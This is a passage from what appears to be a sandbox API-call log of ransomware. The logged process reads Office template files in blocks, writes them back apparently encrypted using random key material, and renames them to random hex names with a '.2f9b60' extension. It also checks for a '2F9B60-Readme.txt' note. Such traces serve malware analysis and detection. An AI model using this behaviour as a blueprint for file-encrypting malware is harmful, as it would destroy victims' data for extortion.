Seed=0x3a31f870) returned 0x2be661d6 [0141.229] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x37e12d91 [0141.229] RtlRandomEx (in: Seed=0x3a31f870 | out: Seed=0x3a31f870) returned 0x34b7fd53 [0141.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0141.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0141.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda80) returned 1 [0141.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc00) returned 1 [0141.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f3dd0 [0141.240] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.240] ReadFile (in: hFile=0x1af8, lpBuffer=0x421f3dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a31f8e0, lpOverlapped=0x0 | out: lpBuffer=0x421f3dd0*, lpNumberOfBytesRead=0x3a31f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0141.261] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda80 [0141.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda80) returned 1 [0141.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421dd570 [0141.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda80 [0141.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdab0 [0141.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdab0) returned 1 [0141.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.263] WriteFile (in: hFile=0x1af8, lpBuffer=0x421dd570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a31f8e0, lpOverlapped=0x0 | out: lpBuffer=0x421dd570*, lpNumberOfBytesWritten=0x3a31f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421dd570) returned 1 [0166.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f3dd0) returned 1 [0166.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a1d00 [0166.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978f0 [0166.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504610 [0166.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1be0 [0166.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1be0) returned 1 [0166.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a1be0 [0166.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c10 [0166.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c70 [0166.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c70) returned 1 [0166.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504610) returned 1 [0166.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0166.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c16910 [0166.144] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.144] WriteFile (in: hFile=0x1af8, lpBuffer=0x42c16910*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a31f990, lpOverlapped=0x0 | out: lpBuffer=0x42c16910*, lpNumberOfBytesWritten=0x3a31f990*=0x106, lpOverlapped=0x0) returned 1 [0205.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0205.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0205.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fe0) returned 1 [0205.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f1e0 [0205.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0205.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0205.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0205.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0205.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431aca60 [0205.731] sprintf (in: _Dest=0x431aca60, _Format="%c%c" | out: _Dest="cd") returned 2 [0205.731] sprintf (in: _Dest=0x431aca62, _Format="%c%c" | out: _Dest="e3") returned 2 [0205.731] sprintf (in: _Dest=0x431aca64, _Format="%c%c" | out: _Dest="fd") returned 2 [0205.731] sprintf (in: _Dest=0x431aca66, _Format="%c%c" | out: _Dest="e3") returned 2 [0205.731] sprintf (in: _Dest=0x431aca68, _Format="%c%c" | out: _Dest="0c") returned 2 [0205.731] sprintf (in: _Dest=0x431aca6a, _Format="%c%c" | out: _Dest="92") returned 2 [0205.731] sprintf (in: _Dest=0x431aca6c, _Format="%c%c" | out: _Dest="9f") returned 2 [0205.731] sprintf (in: _Dest=0x431aca6e, _Format="%c%c" | out: _Dest="e0") returned 2 [0205.731] sprintf (in: _Dest=0x431aca70, _Format="%c%c" | out: _Dest="01") returned 2 [0205.731] sprintf (in: _Dest=0x431aca72, _Format="%c%c" | out: _Dest="b3") returned 2 [0205.731] sprintf (in: _Dest=0x431aca74, _Format="%c%c" | out: _Dest="f0") returned 2 [0205.731] sprintf (in: _Dest=0x431aca76, _Format="%c%c" | out: _Dest="32") returned 2 [0205.731] sprintf (in: _Dest=0x431aca78, _Format="%c%c" | out: _Dest="1f") returned 2 [0205.731] sprintf (in: _Dest=0x431aca7a, _Format="%c%c" | out: _Dest="ea") returned 2 [0205.731] sprintf (in: _Dest=0x431aca7c, _Format="%c%c" | out: _Dest="fa") returned 2 [0205.731] sprintf (in: _Dest=0x431aca7e, _Format="%c%c" | out: _Dest="db") returned 2 [0205.731] sprintf (in: _Dest=0x431aca80, _Format="%c%c" | out: _Dest="cd") returned 2 [0205.731] sprintf (in: _Dest=0x431aca82, _Format="%c%c" | out: _Dest="05") returned 2 [0205.731] sprintf (in: _Dest=0x431aca84, _Format="%c%c" | out: _Dest="78") returned 2 [0205.731] sprintf (in: _Dest=0x431aca86, _Format="%c%c" | out: _Dest="f3") returned 2 [0205.731] RtlInitAnsiString (in: DestinationString=0x3a31fa08, SourceString="cde3fde30c929fe001b3f0321feafadbcd0578f3" | out: DestinationString="cde3fde30c929fe001b3f0321feafadbcd0578f3") [0205.731] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a31f9d8, SourceString="cde3fde30c929fe001b3f0321feafadbcd0578f3", AllocateDestinationString=1 | out: DestinationString="cde3fde30c929fe001b3f0321feafadbcd0578f3") returned 0x0 [0205.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9960 [0205.732] wcscat (in: _Dest=0x2050ca80, _Source="cde3fde30c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\cde3fde30c") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\cde3fde30c" [0205.732] wcscat (in: _Dest=0x2050ca80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\cde3fde30c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\cde3fde30c.2f9b60" [0205.732] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\cde3fde30c.2f9b60", NtPathName=0x3a31f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\cde3fde30c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0205.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x1198c0 [0238.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0238.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd8c0) returned 1 [0238.397] NtQueryInformationFile (in: FileHandle=0x1af8, IoStatusBlock=0x3a31fa18, FileInformation=0x3a31fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a31fa18, FileInformation=0x3a31fa28) returned 0x0 [0238.397] NtSetInformationFile (FileHandle=0x1af8, IoStatusBlock=0x3a31fa18, FileInformation=0x3a31fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0241.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9960) returned 1 [0241.919] FlushFileBuffers (hFile=0x1af8) returned 1 [0241.931] CloseHandle (hObject=0x1af8) returned 1 [0243.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43144bf0 [0243.002] wcscpy (in: _Dest=0x43144bf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0243.002] wcscat (in: _Dest=0x43144bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0243.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0243.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144bf0) returned 1 [0243.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0f10) returned 1 Thread: id = 2151 os_tid = 0x1524 [0140.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt")) returned 0x20 [0140.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt", dwFileAttributes=0x20) returned 1 [0140.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fe4 [0141.225] GetFileSizeEx (in: hFile=0x1fe4, lpFileSize=0x39b6fc00 | out: lpFileSize=0x39b6fc00*=45845) returned 1 [0141.225] SetFilePointerEx (in: hFile=0x1fe4, liDistanceToMove=0xb311, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.225] ReadFile (in: hFile=0x1fe4, lpBuffer=0x39b6fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39b6fbc8, lpOverlapped=0x0 | out: lpBuffer=0x39b6fb80*, lpNumberOfBytesRead=0x39b6fbc8*=0x4, lpOverlapped=0x0) returned 1 [0141.247] SetFilePointerEx (in: hFile=0x1fe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda80 [0141.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdff0 [0141.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdab0 [0141.248] NtQuerySystemTime (in: CurrentTime=0x39b6fac0 | out: CurrentTime=0x39b6fac0*=132462177464914000) returned 0x0 [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x24d4b41e [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x9925fdb [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x7258660d [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x4cdb8ba2 [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x416730f0 [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x54b1cfa2 [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x7b95dc6f [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x7e1980a6 [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x51a72a15 [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x53b5425c [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x224cf7d [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x1d415540 [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x6afe946 [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x5808b7ea [0141.248] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x7c932486 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0xeb7c14c [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x25f61f1e [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x48e70ace [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x76a340a4 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x58178b05 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0xd3d8669 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x4ad1c37c [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x596817c5 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x92cd0e8 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x65c0e71b [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x428eea0a [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x75285399 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x7e951f29 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x4039ee24 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0xf8675d5 [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x36ae53dd [0141.249] RtlRandomEx (in: Seed=0x39b6fab0 | out: Seed=0x39b6fab0) returned 0x2112d500 [0141.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdae0 [0141.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda50 [0141.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdab0) returned 1 [0141.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda80) returned 1 [0141.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d9960 [0141.260] SetFilePointerEx (in: hFile=0x1fe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.260] ReadFile (in: hFile=0x1fe4, lpBuffer=0x421d9960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39b6fb20, lpOverlapped=0x0 | out: lpBuffer=0x421d9960*, lpNumberOfBytesRead=0x39b6fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0141.277] SetFilePointerEx (in: hFile=0x1fe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdab0 [0141.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdab0) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421c6d10 [0141.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdab0 [0141.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0141.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdfc0) returned 1 [0141.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.278] WriteFile (in: hFile=0x1fe4, lpBuffer=0x421c6d10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39b6fb20, lpOverlapped=0x0 | out: lpBuffer=0x421c6d10*, lpNumberOfBytesWritten=0x39b6fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0161.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421c6d10) returned 1 [0161.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d9960) returned 1 [0161.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a36e0 [0161.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0161.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3710 [0161.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3710) returned 1 [0161.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a3710 [0161.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3740 [0161.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3770 [0161.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3770) returned 1 [0161.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0161.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a8600 [0161.135] SetFilePointerEx (in: hFile=0x1fe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.135] WriteFile (hFile=0x1fe4, lpBuffer=0x423a8600, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x39b6fbd0, lpOverlapped=0x0) [0207.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebad60 [0207.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c40 [0207.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053c40) returned 1 [0207.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0xd6360 [0207.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c40 [0207.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053ac0 [0207.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053ac0) returned 1 [0207.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebad60) returned 1 [0207.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac720 [0207.521] sprintf (in: _Dest=0x431ac720, _Format="%c%c" | out: _Dest="34") returned 2 [0207.521] sprintf (in: _Dest=0x431ac722, _Format="%c%c" | out: _Dest="d1") returned 2 [0207.521] sprintf (in: _Dest=0x431ac724, _Format="%c%c" | out: _Dest="7c") returned 2 [0207.522] sprintf (in: _Dest=0x431ac726, _Format="%c%c" | out: _Dest="8d") returned 2 [0207.522] sprintf (in: _Dest=0x431ac728, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.522] sprintf (in: _Dest=0x431ac72a, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.522] sprintf (in: _Dest=0x431ac72c, _Format="%c%c" | out: _Dest="61") returned 2 [0207.522] sprintf (in: _Dest=0x431ac72e, _Format="%c%c" | out: _Dest="4f") returned 2 [0207.522] sprintf (in: _Dest=0x431ac730, _Format="%c%c" | out: _Dest="c8") returned 2 [0207.522] sprintf (in: _Dest=0x431ac732, _Format="%c%c" | out: _Dest="c9") returned 2 [0207.522] sprintf (in: _Dest=0x431ac734, _Format="%c%c" | out: _Dest="7a") returned 2 [0207.522] sprintf (in: _Dest=0x431ac736, _Format="%c%c" | out: _Dest="76") returned 2 [0207.522] sprintf (in: _Dest=0x431ac738, _Format="%c%c" | out: _Dest="8d") returned 2 [0207.522] sprintf (in: _Dest=0x431ac73a, _Format="%c%c" | out: _Dest="18") returned 2 [0207.522] sprintf (in: _Dest=0x431ac73c, _Format="%c%c" | out: _Dest="b4") returned 2 [0207.522] sprintf (in: _Dest=0x431ac73e, _Format="%c%c" | out: _Dest="3e") returned 2 [0207.522] sprintf (in: _Dest=0x431ac740, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.522] sprintf (in: _Dest=0x431ac742, _Format="%c%c" | out: _Dest="6a") returned 2 [0207.522] sprintf (in: _Dest=0x431ac744, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.522] sprintf (in: _Dest=0x431ac746, _Format="%c%c" | out: _Dest="92") returned 2 [0207.522] sprintf (in: _Dest=0x431ac748, _Format="%c%c" | out: _Dest="8b") returned 2 [0207.522] sprintf (in: _Dest=0x431ac74a, _Format="%c%c" | out: _Dest="e6") returned 2 [0207.522] RtlInitAnsiString (in: DestinationString=0x39b6fc48, SourceString="34d17c8df5dc614fc8c97a768d18b43edc6a3a928be6" | out: DestinationString="34d17c8df5dc614fc8c97a768d18b43edc6a3a928be6") [0207.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x39b6fc18, SourceString="34d17c8df5dc614fc8c97a768d18b43edc6a3a928be6", AllocateDestinationString=1 | out: DestinationString="34d17c8df5dc614fc8c97a768d18b43edc6a3a928be6") returned 0x0 [0207.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430e9130 [0207.523] wcscat (in: _Dest=0x43145380, _Source="34d17c8df5d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\34d17c8df5d") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\34d17c8df5d" [0207.523] wcscat (in: _Dest=0x43145380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\34d17c8df5d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\34d17c8df5d.2f9b60" [0207.523] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\34d17c8df5d.2f9b60", NtPathName=0x39b6fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\34d17c8df5d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x430fca60 [0238.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fca60) returned 1 [0238.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431701a0) returned 1 [0238.370] NtQueryInformationFile (in: FileHandle=0x1fe4, IoStatusBlock=0x39b6fc58, FileInformation=0x39b6fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39b6fc58, FileInformation=0x39b6fc68) returned 0x0 [0238.370] NtSetInformationFile (FileHandle=0x1fe4, IoStatusBlock=0x39b6fc58, FileInformation=0x39b6fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145380) returned 1 [0241.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e9130) returned 1 [0241.798] FlushFileBuffers (hFile=0x1fe4) returned 1 [0241.811] CloseHandle (hObject=0x1fe4) returned 1 [0242.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce11290 [0242.834] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.835] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 